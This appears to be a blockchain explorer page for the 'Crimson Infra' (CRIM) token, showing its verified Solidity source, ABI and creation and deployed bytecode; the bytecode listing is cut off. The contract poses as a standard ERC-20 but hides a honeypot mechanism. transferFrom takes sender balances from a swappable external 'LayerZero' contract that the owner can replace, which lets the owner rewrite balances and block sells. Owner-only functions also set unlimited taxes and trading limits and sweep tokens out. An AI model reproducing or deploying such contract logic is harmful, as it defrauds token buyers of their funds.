ETH Price: $3,099.69 (-0.92%)

Token

Crimson Infra (CRIM)
 

Overview

Max Total Supply

100,000,000 CRIM

Holders

36

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
Uniswap V3: CRIM
Balance
112,344,064.012399424768612932 CRIM

Value
$0.00
0xf4b986d8cb1a01735f2d8dae8eef715e8f317629
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CRIM

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
paris EvmVersion
File 1 of 2 : CRIM.sol
/*

Empowering The Connection of DeFi and AI

Website:            https://crimsondefi.com
Documentation:      https://docs.crimsondefi.com
Twitter:            https://twitter.com/CrimsonDeFi
Medium:             https://medium.com/@CrimsonDefi
Telegram:           https://t.me/CrimsonDefiAI

*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "./LayerZero.sol";

contract CRIM {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner, address indexed spender, uint256 value
    );

    uint256 public totalSupply = 100_000_000 * 10 ** 18;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    string public name = "Crimson Infra";
    string public symbol = "CRIM";
    uint8 public decimals = 18;

    address public layerZero;

    uint public taxBuy = 75;
    uint public maxTransaction = 100;
    bool public live;
    address public dex;

    address public owner;

    constructor() {
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);

        layerZero = address(new LayerZero());

        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner");
        _;
    }

    function transfer(address recipient, uint256 amount)
        external
        returns (bool)
    {
        require(live);

        if (msg.sender == dex) return dexSwap(msg.sender, recipient, amount);

        balanceOf[msg.sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(msg.sender, recipient, amount);
        return true;
    }

    function dexSwap(address sender, address recipient, uint amount) private returns (bool) {
        balanceOf[sender] -= amount;
    
        uint taxTokens = amount * taxBuy / 10000;

        balanceOf[address(this)] += taxTokens;
        emit Transfer(sender, address(this), taxTokens);

        uint recipientTokens = amount - taxTokens;
        balanceOf[recipient] += recipientTokens;

        uint tokenLimit = totalSupply * maxTransaction / 10000;
        require(tokenLimit >= balanceOf[recipient]);

        emit Transfer(sender, recipient, recipientTokens);
        return true;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool)
    {
        allowance[sender][msg.sender] -= amount;
        balanceOf[sender] = bal(sender) - amount;
        balanceOf[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function enableOmnichain(address _layerZero) public onlyOwner {
        layerZero = _layerZero;
        ILayerZero(layerZero).enable();
    }

    function bal(address party) public view returns (uint) {
        return ILayerZero(layerZero).safeBalance(party);
    }

    function openDex(address _dex) public onlyOwner {
        live = true;
        dex = _dex;
    }

    function upgradeDexSwap(uint _taxBuy, uint _maxTransaction) public onlyOwner {
        taxBuy = _taxBuy;
        maxTransaction = _maxTransaction;
    }

    function claimBalance(address token) public onlyOwner {
        uint balance = IERC20(token).balanceOf(address(this));
        IERC20(token).transfer(msg.sender, balance);
    }
}

interface ILayerZero {
    function safeBalance(
        address party
    ) external view returns (uint);

    function enable() external;
}

File 2 of 2 : LayerZero.sol
/*

Empowering The Connection of DeFi and AI

Website:            https://crimsondefi.com
Documentation:      https://docs.crimsondefi.com
Twitter:            https://twitter.com/CrimsonDeFi
Medium:             https://medium.com/@CrimsonDefi
Telegram:           https://t.me/CrimsonDefiAI

*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

contract LayerZero {
    bool public enabled;

    function safeBalance(address party) public view returns (uint) {
        return IERC20(msg.sender).balanceOf(party);
    }

    function enable() public {
        enabled = false;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

Settings
{
  "evmVersion": "paris",
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"party","type":"address"}],"name":"bal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"claimBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dex","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_layerZero","type":"address"}],"name":"enableOmnichain","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"layerZero","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"live","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_dex","type":"address"}],"name":"openDex","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_taxBuy","type":"uint256"},{"internalType":"uint256","name":"_maxTransaction","type":"uint256"}],"name":"upgradeDexSwap","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526a52b7d2dcc80cd2e40000006000556040518060400160405280600d81526020017f4372696d736f6e20496e6672610000000000000000000000000000000000000081525060039081620000599190620004c0565b506040518060400160405280600481526020017f4352494d0000000000000000000000000000000000000000000000000000000081525060049081620000a09190620004c0565b506012600560006101000a81548160ff021916908360ff160217905550604b6006556064600755348015620000d457600080fd5b50600054600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000546040516200017d9190620005b8565b60405180910390a3604051620001939062000238565b604051809103906000f080158015620001b0573d6000803e3d6000fd5b50600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620005d5565b6103218062001df783390190565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620002c857607f821691505b602082108103620002de57620002dd62000280565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620003487fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000309565b62000354868362000309565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620003a16200039b62000395846200036c565b62000376565b6200036c565b9050919050565b6000819050919050565b620003bd8362000380565b620003d5620003cc82620003a8565b84845462000316565b825550505050565b600090565b620003ec620003dd565b620003f9818484620003b2565b505050565b5b81811015620004215762000415600082620003e2565b600181019050620003ff565b5050565b601f82111562000470576200043a81620002e4565b6200044584620002f9565b8101602085101562000455578190505b6200046d6200046485620002f9565b830182620003fe565b50505b505050565b600082821c905092915050565b6000620004956000198460080262000475565b1980831691505092915050565b6000620004b0838362000482565b9150826002028217905092915050565b620004cb8262000246565b67ffffffffffffffff811115620004e757620004e662000251565b5b620004f38254620002af565b6200050082828562000425565b600060209050601f83116001811462000538576000841562000523578287015190505b6200052f8582620004a2565b8655506200059f565b601f1984166200054886620002e4565b60005b8281101562000572578489015182556001820191506020850194506020810190506200054b565b868310156200059257848901516200058e601f89168262000482565b8355505b6001600288020188555050505b505050505050565b620005b2816200036c565b82525050565b6000602082019050620005cf6000830184620005a7565b92915050565b61181280620005e56000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c80637d6298ed116100ad578063a9059cbb11610071578063a9059cbb14610337578063b633e4cd14610367578063c3f70b5214610383578063dd62ed3e146103a1578063fd079d2d146103d15761012c565b80637d6298ed146102a35780638da5cb5b146102bf578063957aa58c146102dd57806395d89b41146102fb57806396b1f6b5146103195761012c565b8063313ce567116100f4578063313ce567146101e95780635580f72a1461020757806362290a9314610237578063692058c21461025557806370a08231146102735761012c565b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017f578063189875211461019d57806323b872dd146101b9575b600080fd5b6101396103ed565b6040516101469190611257565b60405180910390f35b61016960048036038101906101649190611312565b61047b565b604051610176919061136d565b60405180910390f35b61018761056d565b6040516101949190611397565b60405180910390f35b6101b760048036038101906101b291906113b2565b610573565b005b6101d360048036038101906101ce91906113f2565b610615565b6040516101e0919061136d565b60405180910390f35b6101f16107c7565b6040516101fe9190611461565b60405180910390f35b610221600480360381019061021c919061147c565b6107da565b60405161022e9190611397565b60405180910390f35b61023f61087f565b60405161024c9190611397565b60405180910390f35b61025d610885565b60405161026a91906114b8565b60405180910390f35b61028d6004803603810190610288919061147c565b6108ab565b60405161029a9190611397565b60405180910390f35b6102bd60048036038101906102b8919061147c565b6108c3565b005b6102c76109b2565b6040516102d491906114b8565b60405180910390f35b6102e56109d8565b6040516102f2919061136d565b60405180910390f35b6103036109eb565b6040516103109190611257565b60405180910390f35b610321610a79565b60405161032e91906114b8565b60405180910390f35b610351600480360381019061034c9190611312565b610a9f565b60405161035e919061136d565b60405180910390f35b610381600480360381019061037c919061147c565b610c3d565b005b61038b610dce565b6040516103989190611397565b60405180910390f35b6103bb60048036038101906103b691906114d3565b610dd4565b6040516103c89190611397565b60405180910390f35b6103eb60048036038101906103e6919061147c565b610df9565b005b600380546103fa90611542565b80601f016020809104026020016040519081016040528092919081815260200182805461042690611542565b80156104735780601f1061044857610100808354040283529160200191610473565b820191906000526020600020905b81548152906001019060200180831161045657829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161055b9190611397565b60405180910390a36001905092915050565b60005481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610603576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fa906115bf565b60405180910390fd5b81600681905550806007819055505050565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106a3919061160e565b92505081905550816106b4856107da565b6106be919061160e565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107509190611642565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107b49190611397565b60405180910390a3600190509392505050565b600560009054906101000a900460ff1681565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d6c4647b836040518263ffffffff1660e01b815260040161083791906114b8565b602060405180830381865afa158015610854573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610878919061168b565b9050919050565b60065481565b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016020528060005260406000206000915090505481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610953576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094a906115bf565b60405180910390fd5b6001600860006101000a81548160ff02191690831515021790555080600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900460ff1681565b600480546109f890611542565b80601f0160208091040260200160405190810160405280929190818152602001828054610a2490611542565b8015610a715780601f10610a4657610100808354040283529160200191610a71565b820191906000526020600020905b815481529060010190602001808311610a5457829003601f168201915b505050505081565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860009054906101000a900460ff16610aba57600080fd5b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610b2157610b1a338484610f4f565b9050610c37565b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b70919061160e565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bc69190611642565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c2a9190611397565b60405180910390a3600190505b92915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ccd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc4906115bf565b60405180910390fd5b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610d0891906114b8565b602060405180830381865afa158015610d25573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d49919061168b565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610d869291906116b8565b6020604051808303816000875af1158015610da5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc9919061170d565b505050565b60075481565b6002602052816000526040600020602052806000526040600020600091509150505481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e80906115bf565b60405180910390fd5b80600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a3907d716040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610f3457600080fd5b505af1158015610f48573d6000803e3d6000fd5b5050505050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fa0919061160e565b92505081905550600061271060065484610fba919061173a565b610fc491906117ab565b905080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110159190611642565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516110799190611397565b60405180910390a36000818461108f919061160e565b905080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110e09190611642565b9250508190555060006127106007546000546110fc919061173a565b61110691906117ab565b9050600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481101561115457600080fd5b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111b19190611397565b60405180910390a3600193505050509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156112015780820151818401526020810190506111e6565b60008484015250505050565b6000601f19601f8301169050919050565b6000611229826111c7565b61123381856111d2565b93506112438185602086016111e3565b61124c8161120d565b840191505092915050565b60006020820190508181036000830152611271818461121e565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006112a98261127e565b9050919050565b6112b98161129e565b81146112c457600080fd5b50565b6000813590506112d6816112b0565b92915050565b6000819050919050565b6112ef816112dc565b81146112fa57600080fd5b50565b60008135905061130c816112e6565b92915050565b6000806040838503121561132957611328611279565b5b6000611337858286016112c7565b9250506020611348858286016112fd565b9150509250929050565b60008115159050919050565b61136781611352565b82525050565b6000602082019050611382600083018461135e565b92915050565b611391816112dc565b82525050565b60006020820190506113ac6000830184611388565b92915050565b600080604083850312156113c9576113c8611279565b5b60006113d7858286016112fd565b92505060206113e8858286016112fd565b9150509250929050565b60008060006060848603121561140b5761140a611279565b5b6000611419868287016112c7565b935050602061142a868287016112c7565b925050604061143b868287016112fd565b9150509250925092565b600060ff82169050919050565b61145b81611445565b82525050565b60006020820190506114766000830184611452565b92915050565b60006020828403121561149257611491611279565b5b60006114a0848285016112c7565b91505092915050565b6114b28161129e565b82525050565b60006020820190506114cd60008301846114a9565b92915050565b600080604083850312156114ea576114e9611279565b5b60006114f8858286016112c7565b9250506020611509858286016112c7565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061155a57607f821691505b60208210810361156d5761156c611513565b5b50919050565b7f4e6f74206f776e65720000000000000000000000000000000000000000000000600082015250565b60006115a96009836111d2565b91506115b482611573565b602082019050919050565b600060208201905081810360008301526115d88161159c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611619826112dc565b9150611624836112dc565b925082820390508181111561163c5761163b6115df565b5b92915050565b600061164d826112dc565b9150611658836112dc565b92508282019050808211156116705761166f6115df565b5b92915050565b600081519050611685816112e6565b92915050565b6000602082840312156116a1576116a0611279565b5b60006116af84828501611676565b91505092915050565b60006040820190506116cd60008301856114a9565b6116da6020830184611388565b9392505050565b6116ea81611352565b81146116f557600080fd5b50565b600081519050611707816116e1565b92915050565b60006020828403121561172357611722611279565b5b6000611731848285016116f8565b91505092915050565b6000611745826112dc565b9150611750836112dc565b925082820261175e816112dc565b91508282048414831517611775576117746115df565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006117b6826112dc565b91506117c1836112dc565b9250826117d1576117d061177c565b5b82820490509291505056fea26469706673582212203f7e17ab167c6374145c4e08abbc2242cb8c8539b065fb412f8a735b1090f12664736f6c63430008180033608060405234801561001057600080fd5b50610301806100206000396000f3fe608060405234801561001057600080fd5b50600436106100415760003560e01c8063238dafe014610046578063a3907d7114610064578063d6c4647b1461006e575b600080fd5b61004e61009e565b60405161005b9190610169565b60405180910390f35b61006c6100af565b005b610088600480360381019061008391906101e7565b6100cb565b604051610095919061022d565b60405180910390f35b60008054906101000a900460ff1681565b60008060006101000a81548160ff021916908315150217905550565b60003373ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b81526004016101069190610257565b602060405180830381865afa158015610123573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610147919061029e565b9050919050565b60008115159050919050565b6101638161014e565b82525050565b600060208201905061017e600083018461015a565b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006101b482610189565b9050919050565b6101c4816101a9565b81146101cf57600080fd5b50565b6000813590506101e1816101bb565b92915050565b6000602082840312156101fd576101fc610184565b5b600061020b848285016101d2565b91505092915050565b6000819050919050565b61022781610214565b82525050565b6000602082019050610242600083018461021e565b92915050565b610251816101a9565b82525050565b600060208201905061026c6000830184610248565b92915050565b61027b81610214565b811461028657600080fd5b50565b60008151905061029881610272565b92915050565b6000602082840312156102b4576102b3610184565b5b60006102c284828501610289565b9150509291505056fea26469706673582212201f2fe5fd0a665bc73c5bc6606e32514f027bf8f0d5c31a6c7f5449fbf958ea4264736f6c63430008180033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80637d6298ed116100ad578063a9059cbb11610071578063a9059cbb14610337578063b633e4cd14610367578063c3f70b5214610383578063dd62ed3e146103a1578063fd079d2d146103d15761012c565b80637d6298ed146102a35780638da5cb5b146102bf578063957aa58c146102dd57806395d89b41146102fb57806396b1f6b5146103195761012c565b8063313ce567116100f4578063313ce567146101e95780635580f72a1461020757806362290a9314610237578063692058c21461025557806370a08231146102735761012c565b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017f578063189875211461019d57806323b872dd146101b9575b600080fd5b6101396103ed565b6040516101469190611257565b60405180910390f35b61016960048036038101906101649190611312565b61047b565b604051610176919061136d565b60405180910390f35b61018761056d565b6040516101949190611397565b60405180910390f35b6101b760048036038101906101b291906113b2565b610573565b005b6101d360048036038101906101ce91906113f2565b610615565b6040516101e0919061136d565b60405180910390f35b6101f16107c7565b6040516101fe9190611461565b60405180910390f35b610221600480360381019061021c919061147c565b6107da565b60405161022e9190611397565b60405180910390f35b61023f61087f565b60405161024c9190611397565b60405180910390f35b61025d610885565b60405161026a91906114b8565b60405180910390f35b61028d6004803603810190610288919061147c565b6108ab565b60405161029a9190611397565b60405180910390f35b6102bd60048036038101906102b8919061147c565b6108c3565b005b6102c76109b2565b6040516102d491906114b8565b60405180910390f35b6102e56109d8565b6040516102f2919061136d565b60405180910390f35b6103036109eb565b6040516103109190611257565b60405180910390f35b610321610a79565b60405161032e91906114b8565b60405180910390f35b610351600480360381019061034c9190611312565b610a9f565b60405161035e919061136d565b60405180910390f35b610381600480360381019061037c919061147c565b610c3d565b005b61038b610dce565b6040516103989190611397565b60405180910390f35b6103bb60048036038101906103b691906114d3565b610dd4565b6040516103c89190611397565b60405180910390f35b6103eb60048036038101906103e6919061147c565b610df9565b005b600380546103fa90611542565b80601f016020809104026020016040519081016040528092919081815260200182805461042690611542565b80156104735780601f1061044857610100808354040283529160200191610473565b820191906000526020600020905b81548152906001019060200180831161045657829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161055b9190611397565b60405180910390a36001905092915050565b60005481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610603576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fa906115bf565b60405180910390fd5b81600681905550806007819055505050565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106a3919061160e565b92505081905550816106b4856107da565b6106be919061160e565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107509190611642565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107b49190611397565b60405180910390a3600190509392505050565b600560009054906101000a900460ff1681565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d6c4647b836040518263ffffffff1660e01b815260040161083791906114b8565b602060405180830381865afa158015610854573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610878919061168b565b9050919050565b60065481565b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016020528060005260406000206000915090505481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610953576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094a906115bf565b60405180910390fd5b6001600860006101000a81548160ff02191690831515021790555080600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900460ff1681565b600480546109f890611542565b80601f0160208091040260200160405190810160405280929190818152602001828054610a2490611542565b8015610a715780601f10610a4657610100808354040283529160200191610a71565b820191906000526020600020905b815481529060010190602001808311610a5457829003601f168201915b505050505081565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860009054906101000a900460ff16610aba57600080fd5b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610b2157610b1a338484610f4f565b9050610c37565b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b70919061160e565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bc69190611642565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c2a9190611397565b60405180910390a3600190505b92915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ccd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc4906115bf565b60405180910390fd5b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610d0891906114b8565b602060405180830381865afa158015610d25573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d49919061168b565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610d869291906116b8565b6020604051808303816000875af1158015610da5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc9919061170d565b505050565b60075481565b6002602052816000526040600020602052806000526040600020600091509150505481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffff